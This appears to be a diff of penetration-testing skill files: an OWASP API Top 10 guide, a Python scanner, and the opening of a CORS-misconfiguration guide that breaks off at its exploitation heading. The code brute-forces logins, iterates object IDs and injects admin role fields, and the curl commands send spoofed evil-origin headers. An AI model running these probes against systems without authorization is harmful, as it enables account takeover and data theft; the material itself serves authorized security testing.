| **Unrestricted Resource Consumption (API4)** | Missing rate limiting enabling DoS or brute-force attacks |
|
||||
| **Broken Function Level Auth (API5)** | Regular users accessing admin-level API functions |
|
||||
| **SSRF (API7)** | Server-Side Request Forgery through API parameters accepting URLs |
|
||||
| **Security Misconfiguration (API8)** | Missing security headers, verbose errors, permissive CORS |
|
||||
| **Improper Inventory (API9)** | Undocumented, deprecated, or shadow API endpoints left exposed |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| **Burp Suite Professional** | API interception, scanning, and manual testing |
|
||||
| **Postman** | API collection management and automated test execution |
|
||||
| **ffuf** | API endpoint and parameter fuzzing |
|
||||
| **Kiterunner** | API endpoint discovery using common API path patterns |
|
||||
| **jwt_tool** | JWT token analysis, manipulation, and attack automation |
|
||||
| **GraphQL Voyager** | GraphQL schema visualization and introspection analysis |
|
||||
| **Arjun** | HTTP parameter discovery for API endpoints |
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario 1: BOLA in E-commerce API
|
||||
User A can access User B's order details by changing the order ID in `/api/v1/orders/{id}`. The API only checks authentication but not authorization on the object level.
|
||||
|
||||
### Scenario 2: Mass Assignment on User Profile
|
||||
The user update endpoint accepts a `role` field in the JSON body. By adding `"role":"admin"` to a profile update request, a regular user escalates to administrator privileges.
|
||||
|
||||
### Scenario 3: Deprecated API Version Bypass
|
||||
The `/api/v2/users` endpoint has proper rate limiting, but `/api/v1/users` (still active) has no rate limiting. Attackers use the old version to brute-force credentials.
|
||||
|
||||
### Scenario 4: GraphQL Introspection Data Leak
|
||||
GraphQL introspection is enabled in production, exposing the entire schema including internal queries, mutations, and sensitive field names that are not used in the frontend.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## API Security Assessment Report
|
||||
|
||||
**Target**: api.target.example.com
|
||||
**API Type**: REST (OpenAPI 3.0)
|
||||
**Assessment Date**: 2024-01-15
|
||||
**OWASP API Security Top 10 (2023) Coverage**
|
||||
|
||||
| Risk | Status | Severity | Details |
|
||||
|------|--------|----------|---------|
|
||||
| API1: BOLA | VULNERABLE | Critical | /api/v1/orders/{id} - IDOR confirmed |
|
||||
| API2: Broken Auth | VULNERABLE | High | No rate limit on /auth/login |
|
||||
| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |
|
||||
| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |
|
||||
| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |
|
||||
| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |
|
||||
| API7: SSRF | PASS | - | URL parameters properly validated |
|
||||
| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |
|
||||
| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |
|
||||
| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |
|
||||
|
||||
### Critical Finding: BOLA on Orders API
|
||||
Authenticated users can access any order by iterating order IDs.
|
||||
Tested range: 1-1000, 847 valid orders accessible.
|
||||
PII exposure: names, addresses, payment details.
|
||||
```
|
||||
@@ -0,0 +1,54 @@
|
||||
# API Reference: Testing API Security with OWASP Top 10
|
||||
|
||||
## requests Library
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip install requests
|
||||
```
|
||||
|
||||
### Key Methods
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `requests.get(url, headers=, params=, timeout=)` | Send GET request |
|
||||
| `requests.post(url, json=, headers=, timeout=)` | Send POST request |
|
||||
| `requests.put(url, json=, headers=)` | Send PUT request |
|
||||
| `requests.patch(url, json=, headers=)` | Send PATCH request |
|
||||
| `requests.delete(url, headers=)` | Send DELETE request |
|
||||
| `requests.options(url, headers=)` | Send OPTIONS preflight |
|
||||
|
||||
### Response Object
|
||||
| Attribute | Description |
|
||||
|-----------|-------------|
|
||||
| `resp.status_code` | HTTP status code (200, 401, 403, 429) |
|
||||
| `resp.headers` | Response headers dict |
|
||||
| `resp.json()` | Parse response body as JSON |
|
||||
| `resp.text` | Response body as string |
|
||||
| `resp.elapsed` | Response time as timedelta |
|
||||
|
||||
## OWASP API Security Top 10 (2023)
|
||||
| ID | Risk | Test Approach |
|
||||
|----|------|---------------|
|
||||
| API1 | Broken Object Level Auth | Iterate object IDs with another user's token |
|
||||
| API2 | Broken Authentication | Brute-force login, test JWT weaknesses |
|
||||
| API3 | Broken Object Property Level Auth | Check excessive data + mass assignment |
|
||||
| API4 | Unrestricted Resource Consumption | Test pagination limits, rate limiting |
|
||||
| API5 | Broken Function Level Auth | Access admin endpoints as regular user |
|
||||
| API6 | Unrestricted Access to Sensitive Flows | Abuse OTP, reset, registration flows |
|
||||
| API7 | Server-Side Request Forgery | Inject internal URLs in URL parameters |
|
||||
| API8 | Security Misconfiguration | Check headers, CORS, error verbosity |
|
||||
| API9 | Improper Inventory Management | Find deprecated API versions |
|
||||
| API10 | Unsafe Consumption of APIs | Test trust boundaries with third-party data |
|
||||
|
||||
## Security Header Checks
|
||||
| Header | Expected Value |
|
||||
|--------|---------------|
|
||||
| `Strict-Transport-Security` | `max-age=31536000; includeSubDomains` |
|
||||
| `X-Content-Type-Options` | `nosniff` |
|
||||
| `X-Frame-Options` | `DENY` or `SAMEORIGIN` |
|
||||
| `Content-Security-Policy` | Restrictive policy |
|
||||
|
||||
## References
|
||||
- OWASP API Security Top 10: https://owasp.org/API-Security/
|
||||
- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
|
||||
- requests docs: https://docs.python-requests.org/
|
||||
@@ -0,0 +1,223 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for automated API security testing against OWASP API Security Top 10."""
|
||||
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
import argparse
|
||||
import urllib3
|
||||
from datetime import datetime
|
||||
from urllib.parse import urljoin
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
def test_bola(base_url, token, endpoints, id_range=(1, 20)):
|
||||
"""Test for Broken Object Level Authorization (API1)."""
|
||||
print("\n[*] Testing API1: Broken Object Level Authorization (BOLA)...")
|
||||
findings = []
|
||||
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
|
||||
for endpoint in endpoints:
|
||||
for obj_id in range(id_range[0], id_range[1]):
|
||||
url = urljoin(base_url, endpoint.replace("{id}", str(obj_id)))
|
||||
try:
|
||||
resp = requests.get(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if resp.status_code == 200 and len(resp.text) > 50:
|
||||
findings.append({
|
||||
"risk": "API1-BOLA", "url": url, "status": resp.status_code,
|
||||
"body_length": len(resp.text), "severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] VULNERABLE: GET {url} -> {resp.status_code} ({len(resp.text)} bytes)")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_broken_auth(base_url, login_endpoint="/api/v1/auth/login", attempts=50):
|
||||
"""Test for Broken Authentication (API2) - rate limiting on login."""
|
||||
print("\n[*] Testing API2: Broken Authentication (rate limiting)...")
|
||||
url = urljoin(base_url, login_endpoint)
|
||||
findings = []
|
||||
rate_limited = False
|
||||
for i in range(1, attempts + 1):
|
||||
try:
|
||||
resp = requests.post(url, json={"email": "test@test.com", "password": f"wrong{i}"},
|
||||
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if resp.status_code == 429:
|
||||
print(f" [+] Rate limited at attempt {i}")
|
||||
rate_limited = True
|
||||
break
|
||||
except requests.RequestException:
|
||||
break
|
||||
if not rate_limited:
|
||||
findings.append({
|
||||
"risk": "API2-BROKEN_AUTH", "url": url, "severity": "HIGH",
|
||||
"detail": f"No rate limiting after {attempts} failed login attempts",
|
||||
})
|
||||
print(f" [!] No rate limiting after {attempts} attempts")
|
||||
return findings
|
||||
|
||||
|
||||
def test_data_exposure(base_url, token, endpoints):
|
||||
"""Test for Broken Object Property Level Authorization (API3)."""
|
||||
print("\n[*] Testing API3: Excessive Data Exposure...")
|
||||
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
|
||||
sensitive_fields = ["password", "password_hash", "ssn", "credit_card", "secret",
|
||||
"api_key", "token", "internal_id", "salt"]
|
||||
findings = []
|
||||
for endpoint in endpoints:
|
||||
url = urljoin(base_url, endpoint)
|
||||
try:
|
||||
resp = requests.get(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if resp.status_code == 200:
|
||||
try:
|
||||
data = resp.json()
|
||||
data_str = json.dumps(data).lower()
|
||||
exposed = [f for f in sensitive_fields if f in data_str]
|
||||
if exposed:
|
||||
findings.append({
|
||||
"risk": "API3-DATA_EXPOSURE", "url": url,
|
||||
"exposed_fields": exposed, "severity": "HIGH",
|
||||
})
|
||||
print(f" [!] {url}: Exposes {exposed}")
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_mass_assignment(base_url, token, endpoint, payload_extras):
|
||||
"""Test for mass assignment vulnerabilities."""
|
||||
print("\n[*] Testing API3: Mass Assignment...")
|
||||
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
|
||||
url = urljoin(base_url, endpoint)
|
||||
findings = []
|
||||
for field, value in payload_extras.items():
|
||||
try:
|
||||
resp = requests.patch(url, headers=headers, json={field: value},
|
||||
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if resp.status_code in (200, 201):
|
||||
resp_data = resp.json() if resp.text else {}
|
||||
if str(value) in json.dumps(resp_data):
|
||||
findings.append({
|
||||
"risk": "API3-MASS_ASSIGNMENT", "url": url,
|
||||
"field": field, "value": value, "severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] VULNERABLE: Field '{field}' accepted with value '{value}'")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_security_headers(base_url):
|
||||
"""Test for Security Misconfiguration (API8)."""
|
||||
print("\n[*] Testing API8: Security Misconfiguration (headers)...")
|
||||
findings = []
|
||||
try:
|
||||
resp = requests.get(base_url, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
required_headers = {
|
||||
"Strict-Transport-Security": "HSTS",
|
||||
"X-Content-Type-Options": "nosniff",
|
||||
"X-Frame-Options": "clickjacking protection",
|
||||
"Content-Security-Policy": "CSP",
|
||||
}
|
||||
for header, desc in required_headers.items():
|
||||
if header.lower() not in {k.lower(): v for k, v in resp.headers.items()}:
|
||||
findings.append({
|
||||
"risk": "API8-MISCONFIGURATION", "header": header,
|
||||
"detail": f"Missing {desc}", "severity": "MEDIUM",
|
||||
})
|
||||
print(f" [!] Missing: {header} ({desc})")
|
||||
else:
|
||||
print(f" [+] Present: {header}")
|
||||
except requests.RequestException as e:
|
||||
print(f" [-] Error: {e}")
|
||||
return findings
|
||||
|
||||
|
||||
def test_cors(base_url, endpoints):
|
||||
"""Test CORS configuration on API endpoints."""
|
||||
print("\n[*] Testing CORS configuration...")
|
||||
findings = []
|
||||
evil_origins = ["https://evil.com", "null", "http://localhost"]
|
||||
for endpoint in endpoints[:3]:
|
||||
url = urljoin(base_url, endpoint)
|
||||
for origin in evil_origins:
|
||||
try:
|
||||
resp = requests.get(url, headers={"Origin": origin}, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
acao = resp.headers.get("Access-Control-Allow-Origin", "")
|
||||
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
|
||||
if acao == origin and acac.lower() == "true":
|
||||
findings.append({
|
||||
"risk": "CORS_MISCONFIGURATION", "url": url,
|
||||
"origin": origin, "severity": "HIGH",
|
||||
})
|
||||
print(f" [!] {url}: Reflects origin '{origin}' with credentials")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_api_versions(base_url, path_prefix="/api"):
|
||||
"""Test for Improper Inventory Management (API9)."""
|
||||
print("\n[*] Testing API9: Improper Inventory Management...")
|
||||
findings = []
|
||||
versions = ["v0", "v1", "v2", "v3", "v4", "beta", "internal", "admin", "debug"]
|
||||
for v in versions:
|
||||
url = urljoin(base_url, f"{path_prefix}/{v}/users")
|
||||
try:
|
||||
resp = requests.get(url, timeout=5, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if resp.status_code not in (404, 000):
|
||||
findings.append({"risk": "API9-INVENTORY", "url": url, "status": resp.status_code})
|
||||
print(f" [+] {v}: {resp.status_code}")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(all_findings, output_path):
|
||||
"""Generate OWASP API Security assessment report."""
|
||||
report = {
|
||||
"assessment_date": datetime.now().isoformat(),
|
||||
"total_findings": len(all_findings),
|
||||
"by_severity": {},
|
||||
"findings": all_findings,
|
||||
}
|
||||
for f in all_findings:
|
||||
sev = f.get("severity", "INFO")
|
||||
report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1
|
||||
with open(output_path, "w") as fh:
|
||||
json.dump(report, fh, indent=2)
|
||||
print(f"\n[*] Report saved to {output_path}")
|
||||
print(f"[*] Total findings: {len(all_findings)}")
|
||||
for sev, count in report["by_severity"].items():
|
||||
print(f" {sev}: {count}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="OWASP API Security Top 10 Testing Agent")
|
||||
parser.add_argument("base_url", help="Base URL of the API (e.g., https://api.target.com)")
|
||||
parser.add_argument("--token", help="Bearer token for authentication")
|
||||
parser.add_argument("--endpoints", nargs="+", default=["/api/v1/users/{id}", "/api/v1/orders/{id}"])
|
||||
parser.add_argument("--login-endpoint", default="/api/v1/auth/login")
|
||||
parser.add_argument("-o", "--output", default="api_security_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
print(f"[*] OWASP API Security Top 10 Assessment")
|
||||
print(f"[*] Target: {args.base_url}")
|
||||
all_findings = []
|
||||
all_findings.extend(test_security_headers(args.base_url))
|
||||
all_findings.extend(test_cors(args.base_url, args.endpoints))
|
||||
all_findings.extend(test_api_versions(args.base_url))
|
||||
all_findings.extend(test_broken_auth(args.base_url, args.login_endpoint))
|
||||
if args.token:
|
||||
all_findings.extend(test_bola(args.base_url, args.token, args.endpoints))
|
||||
all_findings.extend(test_data_exposure(args.base_url, args.token, args.endpoints))
|
||||
all_findings.extend(test_mass_assignment(args.base_url, args.token, args.endpoints[0],
|
||||
{"role": "admin", "is_admin": True}))
|
||||
generate_report(all_findings, args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,349 @@
|
||||
---
|
||||
name: testing-cors-misconfiguration
|
||||
description: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations
|
||||
that allow unauthorized cross-domain data access and credential theft during security
|
||||
assessments.
|
||||
domain: cybersecurity
|
||||
subdomain: web-application-security
|
||||
tags:
|
||||
- penetration-testing
|
||||
- cors
|
||||
- web-security
|
||||
- owasp
|
||||
- same-origin-policy
|
||||
- burpsuite
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- ID.RA-01
|
||||
- PR.DS-10
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1190
|
||||
- T1059.007
|
||||
- T1505.003
|
||||
- T1083
|
||||
- T1003
|
||||
---
|
||||
|
||||
# Testing CORS Misconfiguration
|
||||
|
||||
## When to Use
|
||||
|
||||
- During authorized penetration tests when assessing API endpoints for cross-origin access controls
|
||||
- When testing single-page applications that make cross-origin API requests
|
||||
- For evaluating whether sensitive data can be exfiltrated from a victim's browser session
|
||||
- When assessing microservice architectures with multiple domains sharing data
|
||||
- During security audits of applications using CORS headers for cross-domain communication
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- **Authorization**: Written penetration testing agreement for the target
|
||||
- **Burp Suite Professional**: For intercepting and modifying Origin headers
|
||||
- **Browser with DevTools**: For observing CORS behavior in real browser context
|
||||
- **Attacker web server**: For hosting CORS exploitation PoC pages
|
||||
- **curl**: For manual CORS header testing
|
||||
- **Python HTTP server**: For hosting exploit pages locally
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Identify CORS Configuration on Target Endpoints
|
||||
|
||||
Check all API endpoints for CORS response headers.
|
||||
|
||||
```bash
|
||||
# Test with a foreign Origin header
|
||||
curl -s -I \
|
||||
-H "Origin: https://evil.example.com" \
|
||||
"https://api.target.example.com/api/user/profile"
|
||||
|
||||
# Check for CORS headers in response:
|
||||
# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
|
||||
# Access-Control-Allow-Origin: * (BAD if with credentials)
|
||||
# Access-Control-Allow-Credentials: true (allows cookies)
|
||||
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
|
||||
# Access-Control-Allow-Headers: Authorization, Content-Type
|
||||
# Access-Control-Expose-Headers: X-Custom-Header
|
||||
|
||||
# Test multiple endpoints
|
||||
for endpoint in /api/user/profile /api/user/settings /api/transactions \
|
||||
/api/admin/users /api/account/balance; do
|
||||
echo "=== $endpoint ==="
|
||||
curl -s -I \
|
||||
-H "Origin: https://evil.example.com" \
|
||||
"https://api.target.example.com$endpoint" | \
|
||||
grep -i "access-control"
|
||||
echo
|
||||
done
|
||||
```
|
||||
|
||||
### Step 2: Test Origin Reflection and Validation Bypass
|
||||
|
||||
Determine how the server validates the Origin header.
|
||||
|
||||
```bash
|
||||
# Test 1: Arbitrary origin reflection
|
||||
curl -s -I -H "Origin: https://evil.com" \
|
||||
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
|
||||
|
||||
# Test 2: Null origin
|
||||
curl -s -I -H "Origin: null" \
|
||||
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
|
||||
|
||||
# Test 3: Subdomain matching bypass
|
||||
curl -s -I -H "Origin: https://evil.target.example.com" \
|
||||
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
|
||||
|
||||
# Test 4: Prefix/suffix matching bypass
|
||||
curl -s -I -H "Origin: https://target.example.com.evil.com" \
|
||||
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
|
||||
|
||||
curl -s -I -H "Origin: https://eviltarget.example.com" \
|
||||
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
|
||||
|
||||
# Test 5: Protocol downgrade
|
||||
curl -s -I -H "Origin: http://target.example.com" \
|
||||
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
|
||||
|
||||
# Test 6: Special characters in origin
|
||||
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
|
||||
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
|
||||
|
||||
# Test 7: Wildcard with credentials check
|
||||
curl -s -I -H "Origin: https://evil.com" \
|
||||
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
|
||||
# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
|
||||
```
|
||||
|
||||
### Step 3: Test Preflight Request Handling
|
||||
|
||||
Assess how the server handles OPTIONS preflight requests.
|
||||
|
||||
```bash
|
||||
# Send preflight request
|
||||
curl -s -I -X OPTIONS \
|
||||
-H "Origin: https://evil.example.com" \
|
||||
-H "Access-Control-Request-Method: PUT" \
|
||||
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
|
||||
"https://api.target.example.com/api/user/profile"
|
||||
|
||||
# Check:
|
||||
# Access-Control-Allow-Methods: should only list needed methods
|
||||
# Access-Control-Allow-Headers: should only list needed headers
|
||||
# Access-Control-Max-Age: preflight cache duration (long = risky)
|
||||
|
||||
# Test if dangerous methods are allowed
|
||||
curl -s -I -X OPTIONS \
|
||||
-H "Origin: https://evil.example.com" \
|
||||
-H "Access-Control-Request-Method: DELETE" \
|
||||
"https://api.target.example.com/api/user/profile" | \
|
||||
grep -i "access-control-allow-methods"
|
||||
|
||||
# Test if preflight is cached too long
|
||||
curl -s -I -X OPTIONS \
|
||||
-H "Origin: https://evil.example.com" \
|
||||
-H "Access-Control-Request-Method: GET" \
|
||||
"https://api.target.example.com/api/user/profile" | \
|
||||
grep -i "access-control-max-age"
|
||||
# max-age > 86400 (1 day) allows prolonged abuse after policy change
|
||||
```
|
||||
|
||||
### Step 4: Craft CORS Exploitation Proof of Concept
|
||||
|
||||
